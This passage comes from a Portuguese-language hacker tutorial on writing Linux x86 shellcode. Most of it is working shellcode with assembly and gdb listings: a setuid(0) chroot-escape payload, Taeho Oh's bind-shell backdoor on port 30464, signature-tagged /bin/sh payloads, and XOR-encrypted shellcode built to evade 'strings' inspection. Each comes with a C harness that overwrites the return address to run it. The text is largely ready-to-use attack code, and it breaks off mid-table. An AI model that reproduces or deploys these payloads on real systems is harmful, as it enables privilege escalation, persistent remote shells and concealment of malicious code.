        movb $0x17,%al          # 0x17 = __NR_setuid
        int  $0x80

        # setgid(0);
        movb $0x2e,%al          # 0x2e = __BR_setgid
        int  $0x80

        # mkdir("sh");
        jmp  0x39
        popl %esi               # pega o endereco de nossa string
        movb $0x27,%al          # 0x27 = __NR_mkdir
        leal 0x5(%esi),%ebx     # locacao da string
        movb $0xed,%cl          # modo
        int  $0x80

        # chroot("sh");
        # string addiciona estah em %ebx
        movb $0x3d, %al         # 0x3d = __NR_chroot
        int  $0x80

        # construindo string "../../../../../../../../../../"
        movl $0xff2f2e2e,%edx   # "../"
        leal 0x4(%ebp),%ebx     # adiciona sh na nova string
        movb $0x10,%cl          # seta o contador
        movl %edx,0x4(%ebp)     # constroi a string
        addl $0x3,%ebp
        loopne  -0x8
        movl %ecx,0x4(%ebp)        # coloca em NULL

        # chroot("../../../../../../../../../../");
        movb $0x3d,%al          # Ox3d = __NR_chroot
        int  $0x80

        # arg[0] = "/bins/sh";
        # arg[1] = 0x0
        # execve(arg[0],arg);
        movl %esi,%ebx
        movl %esi,0x8(%ebp)
        movl %ecx,0xc(%ebp)
        movb $0xb,%al
        leal 0x8(%ebp),%ecx
        leal 0xc(%ebp),%edx
        int  $0x80

        call -0x3e
        .string "/bin/sh"
*/

char shellcode[]=
"\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
"\xeb\x39\x5e\xb0\x27\x8d\x5e\x05\xb1\xed\xcd\x80\xb0\x3d\xcd\x80\xba"
"\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89\x55\x04\x83\xc5\x03\xe0\xf8"
"\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3\x89\x75\x08\x89\x4d\x0c\xb0\x0b"
"\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xc2\xff\xff\xff/bin/sh";

main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

--------------------------------------------------------------------------

Ao meu ver, nao existe muita complicacao nesse shellcode.Se voce entendeu
o exemplo descrito no tutorial anterio, esse daqui eh moleza na frente
daquele.A utilidade disso voce jah sabe, eh justamente conseguir executar
comandos fugindo do chroot(), que eh usado para nos 'prender' num 
determinado diretorio.


2.3 - Abrindo um Socket
------------------------

A abertura de um socket em uma rede pode vir a ser util.Bindar uma porta
a uma shell por sih soh representa uma boa forma de backdoor.Dependendo
da situacao, um shellcode que binda uma shell a uma porta pode vir a ser
uma forma efetiva de fugir de firewalls.Esse conceito tem sido no momento
muito usado em trojans horses, e como fucadores, devemos conhecer as 
possiveis utilidades do mesmo.No tutorial "Advanced buffer overflow exploit", 
o Taeho Oh demonstrou de forma clara, a "tecnica" usada para contruir um 
shellcode capaz de bindar uma shell a uma porta.Vejamos o codigo em .c mais 
simples para a construcao desse shellcode:

----------------------------- binda.c ---------------------------------

#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
        if(fork()==0)
        {
                serv_addr.sin_family=2;
                serv_addr.sin_addr.s_addr=0;
                serv_addr.sin_port=0x77;
                soc=socket(2,1,6);
                bind(soc,(struct sockaddr *)&serv_addr,0x10);
                listen(soc,1);
                cli=accept(soc,0,0);
                dup2(cli,0);
                dup2(cli,1);
                dup2(cli,2);
                execl("/bin/sh","sh",0);
        }
}

-------------------------------------------------------------------------

Se voce nao conhece programacao de sockets em C, recomendo meus tutoriais
que podem ser obtidos em http://unsekurity.virtualave.net ou 
http://unsekurity.cyberpunk.com.br/ ; lah eu explico em detalhes como se
faz um programa parecido com este acima, que binda uma shell a uma porta.
Compile este programa acima, e depois vamos desassemblar ele:

[localhost]# gdb binda
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) (gdb) disassemble fork
Dump of assembler code for function __libc_fork:
0x804c5a0 <__libc_fork>:        mov    $0x2,%eax
0x804c5a5 <__libc_fork+5>:      int    $0x80
0x804c5a7 <__libc_fork+7>:      cmp    $0xfffff001,%eax
0x804c5ac <__libc_fork+12>:     jae    0x804ca70 <__syscall_error>
0x804c5b2 <__libc_fork+18>:     ret
End of assembler dump.
(gdb)

Pegamos o codigo referente a fork(0):

mov    $0x2,%eax
int    $0x80

(gdb) disass socket
Dump of assembler code for function __socket:
0x804c860 <__socket>:   mov    %ebx,%edx
0x804c862 <__socket+2>: mov    $0x66,%eax
0x804c867 <__socket+7>: mov    $0x1,%ebx
0x804c86c <__socket+12>:        lea    0x4(%esp,1),%ecx
0x804c870 <__socket+16>:        int    $0x80
0x804c872 <__socket+18>:        mov    %edx,%ebx
0x804c874 <__socket+20>:        cmp    $0xffffff83,%eax
0x804c877 <__socket+23>:        jae    0x804ca70 <__syscall_error>
0x804c87d <__socket+29>:        ret
End of assembler dump.

Pegamos os codigos referentes a funcao socket():

mov    %ebx,%edx
mov    $0x66,%eax
mov    $0x1,%ebx
lea    0x4(%esp,1),%ecx
int    $0x80

(gdb) disas bind
Dump of assembler code for function bind:
0x804c820 <bind>:       mov    %ebx,%edx
0x804c822 <bind+2>:     mov    $0x66,%eax
0x804c827 <bind+7>:     mov    $0x2,%ebx
0x804c82c <bind+12>:    lea    0x4(%esp,1),%ecx
0x804c830 <bind+16>:    int    $0x80
0x804c832 <bind+18>:    mov    %edx,%ebx
0x804c834 <bind+20>:    cmp    $0xffffff83,%eax
0x804c837 <bind+23>:    jae    0x804ca70 <__syscall_error>
0x804c83d <bind+29>:    ret
End of assembler dump.

Pegamos o codigo referente a bind():

mov    %ebx,%edx
mov    $0x66,%eax
mov    $0x2,%ebx
lea    0x4(%esp,1),%ecx
int    $0x80

(gdb) disas listen
Dump of assembler code for function listen:
0x804c840 <listen>:     mov    %ebx,%edx
0x804c842 <listen+2>:   mov    $0x66,%eax
0x804c847 <listen+7>:   mov    $0x4,%ebx
0x804c84c <listen+12>:  lea    0x4(%esp,1),%ecx
0x804c850 <listen+16>:  int    $0x80
0x804c852 <listen+18>:  mov    %edx,%ebx
0x804c854 <listen+20>:  cmp    $0xffffff83,%eax
0x804c857 <listen+23>:  jae    0x804ca70 <__syscall_error>
0x804c85d <listen+29>:  ret
End of assembler dump.

Pegamos o codigo referente a bind():

mov    %ebx,%edx
mov    $0x66,%eax
mov    $0x4,%ebx
0x4(%esp,1),%ecx
int    $0x80

(gdb) disas accept
Dump of assembler code for function __libc_accept:
0x804c800 <__libc_accept>:      mov    %ebx,%edx
0x804c802 <__libc_accept+2>:    mov    $0x66,%eax
0x804c807 <__libc_accept+7>:    mov    $0x5,%ebx
0x804c80c <__libc_accept+12>:   lea    0x4(%esp,1),%ecx
0x804c810 <__libc_accept+16>:   int    $0x80
0x804c812 <__libc_accept+18>:   mov    %edx,%ebx
0x804c814 <__libc_accept+20>:   cmp    $0xffffff83,%eax
0x804c817 <__libc_accept+23>:   jae    0x804ca70 <__syscall_error>
0x804c81d <__libc_accept+29>:   ret
End of assembler dump.

Pegamos o codigo referente a accept():

mov    %ebx,%edx
mov    $0x66,%eax
mov    $0x5,%ebx
lea    0x4(%esp,1),%ecx
int    $0x80

(gdb) disas dup2
Dump of assembler code for function __dup2:
0x804c6d0 <__dup2>:     mov    %ebx,%edx
0x804c6d2 <__dup2+2>:   mov    0x8(%esp,1),%ecx
0x804c6d6 <__dup2+6>:   mov    0x4(%esp,1),%ebx
0x804c6da <__dup2+10>:  mov    $0x3f,%eax
0x804c6df <__dup2+15>:  int    $0x80
0x804c6e1 <__dup2+17>:  mov    %edx,%ebx
0x804c6e3 <__dup2+19>:  cmp    $0xfffff001,%eax
0x804c6e8 <__dup2+24>:  jae    0x804ca70 <__syscall_error>
0x804c6ee <__dup2+30>:  ret
End of assembler dump.

Pegamos o codigo referente a dup2():

mov    %ebx,%edx
mov    0x8(%esp,1),%ecx
mov    0x4(%esp,1),%ebx
mov    $0x3f,%eax
int    $0x80


Como podemos notar, eh meio trabalhoso, mas maos a obra.Vamos retirar os
NULL Bytes e melhorar nosso codigo funcao por funcao:

fork(); /* fork() possui numero 2 na tabela de system calls */
----------------------------------------------------------------------------
char code[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

socket(2,1,6); 
----------------------------------------------------------------------------
        /* %ecx eh um ponteiro de todos os argumentos.           */
char code[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xf1"                      /* movl %esi,%ecx <- ele */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\x89\x06"                      /* movl %eax,(%esi)      */
	/* O primeiro argumento(socket(2,..,..)).                */ 
	/* %esi tem referencia ao espaco livre da memoria antes  */
	/* de usar esta funcao.					 */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        /* O segundo argumento(socket(..,1,..)).                 */
        "\xb0\x06"                      /* movb $0x6,%al         */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        /* O terceiro argumento(socket(..,..,6)).                */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x01"                      /* movb $0x1,%bl         */
        "\xcd\x80";                     /* int $0x80             */


bind(soc,(struct sockaddr *)&serv_addr,0x10); code
----------------------------------------------------------------------------
        /* %ecx eh um ponteiro para todos os argumentos          */
char code[]=
        "\x89\xf1"                      /* movl %esi,%ecx        */
        "\x89\x06"                      /* movl %eax,(%esi)      */
	/* %eax tem valor de soc antes de usar esta instrucao.   */
	/* Acima temos o primeiro argumento(soc).                */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
        /* serv_addr.sin_family=2                                */
	/* 2 eh armazenado em 0xc(%esi).			 */
        "\xb0\x77"                      /* movb $0x77,%al        */
        "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
	/* armazena o numero da porta(0x77) em 0xe(%esi)         */
        "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
	/* %eax =  endereco de serv_addr.			 */
	/* O segundo argumento((struct sockaddr *)&serv_addr)    */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
        /* serv_addr.sin_addr.s_addr=0                           */
        /* 0 eh armazenado em 0x10(%esi).                        */
        "\xb0\x10"                      /* movb $0x10,%al        */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        /* O terceiro argumento                                  */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x02"                      /* movb $0x2,%bl         */
        "\xcd\x80";                     /* int $0x80             */

listen(soc,1); code
----------------------------------------------------------------------------
        /* %ecx eh um ponteiro para todos os argumentos.         */
char code[]=
        "\x89\xf1"                      /* movl %esi,%ecx        */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        /* %eax tem o valor de soc antes de usar esta intrucao.  */
        /* O primeiro argumento.                                 */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        /* O segundo argumento.                                  */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x04"                      /* movb $0x4,%bl         */
        "\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

accept(soc,0,0); code
----------------------------------------------------------------------------
        /* %ecx eh um ponteiro de todos os argumentos.           */
char code[]=
        "\x89\xf1"                      /* movl %esi,%ecx        */
        "\x89\xf1"                      /* movl %eax,(%esi)      */
        /* %eax tem que ter valor soc antes de usar esta         */
        /* instrucao.                                            */
        /* Acima temos o primeiro argumento                      */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	/* Acima temos o segundo argumento			 */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        /* Acima temos o terceiro argumento.                     */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x05"                      /* movb $0x5,%bl         */
        "\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

dup2(cli,0); code
----------------------------------------------------------------------------
	/* O primeiro argumento eh %ebx e o segundo argumento eh */
	/* %ecx.						 */
char code[]=
	/* %eax tem que ter valor de cli antes de usar esta      */
	/* instrucao.						 */
        "\x88\xc3"                      /* movb %al,%bl          */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

Bastante trabalhoso, nao?? A melhor forma de execucao do mesmo segue
no proprio esquema do Taeho Oh.Vejamos abaixo o shellcode que ele criou
para bindar uma shell:

----------------------------------------------------------------------------
char shellcode[]=
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\xcd\x80"                      /* int $0x80             */
        "\x85\xc0"                      /* testl %eax,%eax       */
        "\x75\x43"                      /* jne 0x43              */
        /* caso fork()!=0                                        */
	/* Ele irah chamar exit(0) e jumpear abaixo.		 */
        "\xeb\x43"                      /* jmp 0x43              */
	/* Caso fork() == 0 ele irah chamar call -0xa5.		 */
        "\x5e"                          /* popl %esi             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xf1"                      /* movl %esi,%ecx        */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\xb0\x06"                      /* movb $0x6,%al         */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x01"                      /* movb $0x1,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
        "\xb0\x77"                      /* movb $0x77,%al        */
        "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
        "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
        "\xb0\x10"                      /* movb $0x10,%al        */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x02"                      /* movb $0x2,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\xeb\x04"                      /* jmp 0x4               */
        "\xeb\x55"                      /* jmp 0x55              */
        "\xeb\x5b"                      /* jmp 0x5b              */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x04"                      /* movb $0x4,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x05"                      /* movb $0x5,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\x88\xc3"                      /* movb %al,%bl          */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xcd\x80"                      /* int $0x80             */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\xb1\x01"                      /* movb $0x1,%cl         */
        "\xcd\x80"                      /* int $0x80             */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\xb1\x02"                      /* movb $0x2,%cl         */
        "\xcd\x80"                      /* int $0x80             */
        "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
        /* %eax="/bin"                                           */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
        /* %eax="/sh/"                                           */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\x5b\xff\xff\xff";         /* call -0xa5            */

main(){
int *retorno;
retorno = (int *)&retorno +2;
(*retorno) = (int)shellcode;
}
----------------------------------------------------------------------------

Enorme, nao? Compile ele e execute em sua maquina, ele abrirah uma porta
de numero 30464 (que pode ser perfeitamente alterada) com uma shell
correspondente.


2.4 - Personalizando um Shellcode
----------------------------------

Muitos shellcodes sao personalizados de forma que fazem com que aparecam
determinadas frases ou letras quando se usa o comando strings.A utilidade
disso, ao meu ver, nao eh muita coisa.Muita gente que nao conhece escrita
de shellcode acha isso coisa de outro mundo, o que vou demonstrar aqui, eh
que isso eh muito simples.Lendo esse item, voce verah que esse 'mito' nao
passa de mais um simples exemplo da obscuridade que envolve a escrita de 
shellcodes.Exploits como os da ADM(http://adm.isp.at/) demonstram na pratica
este 'conceito'.Essa parte realmente nao tem nada de util, apenas servirah
para mostrar a todos que nao eh nada complicado personalizar um shellcode.

Como bem sabemos, o shellcode soh executa intrucoes pre-determinadas pelo
tamanho do comando que nos queremos executar.Vimos na primeira parte deste
tutorial que nos poderiamos encher o final do shellcode que executava ls,
mas que nao iria adiantar de nada.Personalizar um shellcode eh somente
colocar os referentes caracters ascii(em hexa) no final do shellcode de
modo que nao afete a execucao do mesmo.

Vamos pegar como exemplo o shellcode padrao abaixo:

---------------------------- spadrao.c ---------------------------------
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

main(){
int *retorno;
retorno = (int *)&retorno +2;
(*retorno) = (int)shellcode;
}
------------------------------------------------------------------------

Shellcode padrao que executa um setuid(0) em seguida um /bin/sh.Compile
ele normalmente e depois digite em seu linux 'strings spadrao | less',
voce deverah ver algo como:

....(monte de coisas)..
GLIBC_2.0
PTRh
/bin/sh
init.c
.....

O que nos interessa eh essa parte.Abaixo de PTRh encontrasse as strings
que nosso shellcode possui, no caso /bin/sh.Personalizar um shellcode, 
nada mais eh do que fazer aparecer frases ou palavras nessa parte do
comando strings, isso seria algo como uma assinatura, ou uma marca
registrada de que aquele shellcode foi feito ou alterado por voce.Vejamos
como fazer isso:

Em seu linux, digite o comando 'man ascii':

[localhost]# man ascii
..........................................................................

       Oct   Dec   Hex   Char           Oct   Dec   Hex   Char
       ------------------------------------------------------------
       000   0     00    NUL '\0'       100   64    40    @
       001   1     01    SOH            101   65    41    A
       002   2     02    STX            102   66    42    B
       003   3     03    ETX            103   67    43    C
       004   4     04    EOT            104   68    44    D
       005   5     05    ENQ            105   69    45    E
       006   6     06    ACK            106   70    46    F
       007   7     07    BEL '\a'       107   71    47    G
       010   8     08    BS  '\b'       110   72    48    H
       011   9     09    HT  '\t'       111   73    49    I
       012   10    0A    LF  '\n'       112   74    4A    J
       013   11    0B    VT  '\v'       113   75    4B    K
       014   12    0C    FF  '\f'       114   76    4C    L
       015   13    0D    CR  '\r'       115   77    4D    M
       016   14    0E    SO             116   78    4E    N
       017   15    0F    SI             117   79    4F    O
       020   16    10    DLE            120   80    50    P
       021   17    11    DC1            121   81    51    Q
       022   18    12    DC2            122   82    52    R
       023   19    13    DC3            123   83    53    S
       024   20    14    DC4            124   84    54    T
       025   21    15    NAK            125   85    55    U
       026   22    16    SYN            126   86    56    V
       027   23    17    ETB            127   87    57    W
       030   24    18    CAN            130   88    58    X
       031   25    19    EM             131   89    59    Y
       032   26    1A    SUB            132   90    5A    Z
       033   27    1B    ESC            133   91    5B    [
       034   28    1C    FS             134   92    5C    \   '\\'
       035   29    1D    GS             135   93    5D    ]
       036   30    1E    RS             136   94    5E    ^
       037   31    1F    US             137   95    5F    _
       040   32    20    SPACE          140   96    60    `
       041   33    21    !              141   97    61    a
       042   34    22    "              142   98    62    b
       043   35    23    #              143   99    63    c
       044   36    24    $              144   100   64    d
       045   37    25    %              145   101   65    e
       046   38    26    &              146   102   66    f
       047   39    27    '              147   103   67    g
       050   40    28    (              150   104   68    h
       051   41    29    )              151   105   69    i
       052   42    2A    *              152   106   6A    j
       053   43    2B    +              153   107   6B    k
       054   44    2C    ,              154   108   6C    l
       055   45    2D    -              155   109   6D    m
       056   46    2E    .              156   110   6E    n
       057   47    2F    /              157   111   6F    o
       060   48    30    0              160   112   70    p
       061   49    31    1              161   113   71    q
       062   50    32    2              162   114   72    r
       063   51    33    3              163   115   73    s
       064   52    34    4              164   116   74    t
       065   53    35    5              165   117   75    u
       066   54    36    6              166   118   76    v
       067   55    37    7              167   119   77    w
       070   56    38    8              170   120   78    x
       071   57    39    9              171   121   79    y
       072   58    3A    :              172   122   7A    z
       073   59    3B    ;              173   123   7B    {
       074   60    3C    <              174   124   7C    |
       075   61    3D    =              175   125   7D    }
       076   62    3E    >              176   126   7E    ~
       077   63    3F    ?              177   127   7F    DEL

...........................................................................



Acima segue um pedaco da tabela que aparece com esse comando.Essa tabela
nos fornece os respectivos numeros em decimal, hexadecimal e octal dos
caracteres ascii correspondente.De posse dessas informacoes, podemos
pegar os numeros hexadecimais da string que queremos inserir:

N = 4e ; A = 41 ; S = 53 ; H = 48 ; L = 4c ; E = 45 ; O = 4f ; N = 4e.

Agora tudo que temos que fazer eh inserir os respectivos hexas no final
do shellcode.Vejamos:

------------------------------spers1.c-----------------------------------
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x4e\x41\x53\x48\x4c\x45\x4f\x4e"; /* NASHLEON */

main(){
int *retorno;
retorno = (int *)&retorno +2;
(*retorno) = (int)shellcode;
}

--------------------------------------------------------------------------

Compile ele normalmente e depois use o comando strings:

[localhost]# strings spers1 | less
.....
GLIBC_2.0
PTRh
/bin/shNASHLEON
init.c
.....

Voce pode notar que nossa string 'NASHLEON' ficou logo apos /bin/sh.
Podemos perfeitamente melhorar isto, basta inserir os hexas referentes aos
caracteres ascii que quisermos.Um outro exemplo segue abaixo:

-------------------------------spers2.c-----------------------------------

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\x4e\x41\x53\x48\x20\x4c\x45\x4f\x4e\x00" /* NASH LEON */
"\x76\x75\x6c\x67\x6f\x20" /* vulgo */
"\x63\x6f\x72\x61\x63\x61\x6f\x64\x65\x6c\x65\x61\x6f";

main(){
int *retorno;
retorno = (int *)&retorno +2;
(*retorno) = (int)shellcode;
}
------------------------------------------------------------------------

Compile e use o comando strings para obter info a respeito das strings
que se encontram no shellcode:
.....
GLIBC_2.0
PTRh
/bin/sh
NASH LEON
vulgo coracaodeleao
init.c
....

Bom, amigo, se voce quer mesmo, mande brasa e construa seus shellcodes
personalizados.Eu particularmente nao aconselho por varios motivos:

+ Quanto menor o tamanho do shellcode, melhor. Principalmente quando se
  tenta exploitar buffers de tamanhos pequenos.

+ Existem casos em que o shellcode necessita ficar entre nops:
  [NOPS] [SHELLCODE] [NOPS] [offset para shellcode]
  ou
  [NOPS] [SHELLCODE] [NOPS] [offset] [NULL's]
  ou mesmo mais complexo ainda:
  [offset para shellcode] [NULL's] ] [nops] [SHELLCODE] [nops]

Como voce pode ver, isso pode vir a dificultar mais ainda a execucao de
nosso shellcode, analise o caso, e veja se realmente a personalizacao
de um shellcode nao trarah mais trabalhos para voce.


2.5 - Encriptando um Shellcode
-------------------------------

O perigo de se executar exploits que usam shellcodes de terceiros como root
eh eminente.Veremos aqui de forma bastante pratica que o comando strings
descrito acima se torna sem eficacia quando um shellcode estah encriptado.
Aqui vem a parte que mais motiva um fucador a entender a necessidade de 
saber escrever um shellcode, ou seja, a parte mais evidente de que nao se 
deve executar shellcodes de terceiros.Veremos de forma basica, um metodo 
usado para encriptar um shellcode para que ele possa passar desapercebido 
pelo comando strings.

O metodo que pretendo disponibilizar eh o de 'Encriptacao por Manipulacao
de Bits'.Encriptacao por manipulacao de bits nao eh coisa nova, varios
programas, teses, teorias jah tornaram este metodo bastante pratico e
eficiente.Existem duas vantagens consideradas para se usar encriptacao por
manipulacao de bits, sao elas:

+ Ela se adapta bem para uso em computadores porque emprega operacoes
  facilmente executadas pelo sistema.

+ Textos encriptados tambem tendem a aparecer ininteligiveis, o que
  acrescenta seguranca por fazer os dados parecerem com arquivos sem uso
  ou danificados.

Geralmente a encriptacao por manipulacao de bits eh aplicada somente para
arquivos de computadores e nao pode ser usada para criar mensagens 
impressas porque a manipulacao de bits tende a produzir caracteres que
nao podem ser impressos.Por esta razao, voce deve presumir que qualquer
arquivo codificado por metodos de manipulacao de bits ficarah num
arquivo de computador.Para converter o texto comum em texto cifrado,
alteramos o padrao real dos bits de cada caracter atraves do emprego de um
ou mais dos seguintes operadores logicos:

E
OU
OU EXCLUSIVO (XOR)
COMPLEMENTO DE 1 (NOT)

Veremos os respectivos operadores de bit a bit em suas linguagens:

+-------------------------------------------------------------------+
|     OPERADOR     |    Linguagem C    |     Linguagem Assembly     |
+-------------------------------------------------------------------+
|        E         |         &         |             &              |
+-------------------------------------------------------------------+
|       OU         |         |         |             |              |
+-------------------------------------------------------------------+
|   OU EXCLUSIVO   |         ^         |             ^              |
+-------------------------------------------------------------------+
| COMPLEMENTO DE 1 |         ~         |             ~              |
+-------------------------------------------------------------------+

O Complemento de 1 se refere ao NOT, o que ele faz eh inverter cada bit de
um byte.O 'OU Exclusivo'  eh o nosso conhecido XOR, o que ele faz eh 
manipular bits seguindo uma tabela verdade.       
O exemplo que vou disponibilizar foi feito pelo lamagra, eh amplamente
difundido na internet e pode ser obtido junto com outros shellcodes num
pacote conhecido como sc.tgz(veja links e referencias no final).
A criptografia por manipulacao de bits que ele usa eh a do XOR.Abaixo
segue o codigo fonte do mesmo:

------------------------------- encr.c --------------------------------
/*
.file "xor-encrypted shellcode"
.version "1.0"
.text
        .align 4
.globl main
        .type main,@function
_start:
        xorl    %eax,%eax
        jmp     0x22
        popl    %ebx
        movl    8(%ebx),%edx
        xor     %edx,(%ebx)
        xor     %edx,4(%ebx)
        xor     %edx,%edx
        movl    %ebx,0x8(%esp)
        movl    %edx,0xc(%esp)
        movb    $0xb,%al
        leal    0x8(%esp),%ecx
        int     $0x80
        xorl    %ebx,%ebx
        movl    %ebx,%eax
        incl    %eax
        int     $0x80
        call    -0x27
        .string "\x6e\x23\x28\x2f\x6e\x32\x29\x41\x41\x41\x41\x41"
*/

#define NAME "encrypted"

char code[]=
"\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff"
"\x6e\x23\x28\x2f\x6e\x32\x29\x41" /* encrypted "/bin/sh" */
"\x41\x41\x41\x41";     /* Conversion chars */

main()
{
  int (*funct)();
  funct = (int (*)()) code;
  printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
  (int)(*funct)();
}
-------------------------------------------------------------------------

Compile ele e execute-o em sua maquina, nao se preocupe.O que ele faz eh
somente executar um /bin/sh.Depois analise-o usando o comando 'strings'.
Detalhes da escrita desse shellcode serah disponibilizado num artigo
sobre 'trojans x strings', que em breve deve estar disponivel na home page
do Unsekurity Team.Uma dica, mano.A tabela verdade abaixo eh aplicada
na criptografia usando XOR:

^ | 0 | 1
----------
0 | 0 | 1
